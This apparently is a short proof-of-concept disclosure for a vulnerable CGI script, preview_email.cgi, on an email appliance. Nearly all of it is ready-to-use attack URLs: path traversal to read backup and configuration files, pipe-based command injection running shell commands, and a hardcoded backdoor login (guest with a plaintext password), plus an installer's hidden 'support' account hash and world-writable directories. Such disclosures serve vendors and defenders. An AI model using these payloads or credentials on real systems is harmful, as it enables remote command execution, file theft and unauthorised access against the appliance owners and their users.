#################################################################### Proof of Concept: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/| #################################################################### #using |unix| for command execution: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a| #admin login/pass vuln https:///cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl| https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl eg. #`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`; login: guest pass: phteam99 some folder are accessible via http without permission https:///Translators/ https:///images/ https:///locale https:///plugins https:///help #stuff in do_install /usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM ## Create backup tmp dir /bin/mkdir -p /mail/tmp/backup/ chmod -R 777 /mail/tmp/ ## Create smb backup mount point /bin/mkdir -p /mnt/smb/ chmod 777 /mnt/smb/